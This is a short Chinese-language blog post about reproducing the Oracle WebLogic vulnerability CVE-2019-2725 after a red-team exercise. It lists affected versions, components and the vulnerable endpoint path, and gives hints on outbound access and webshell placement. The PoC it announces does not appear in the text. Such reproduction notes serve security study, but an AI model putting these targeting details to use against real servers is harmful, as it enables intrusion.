weblogic(CVE-2019-2725)漏洞復現

最近打攻防演練的時候碰到了這個漏洞，趁熱打個鐵復現一下漏洞

這個漏洞對比shiro來說還是比較新鮮的，他是去年新出的一款漏洞，19年4月

受影響版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

影響元件：

bea_wls9_async_response.war
wsat.war 

漏洞存在的頁面：

/_async/AsyncResponseService

poc如下

當然肯定希望是出網機器，不然這個漏洞利用有點麻煩，因為不同的weblogic元件版本，解析目錄的路徑都是不一樣的，寫入webshell也會有難度。
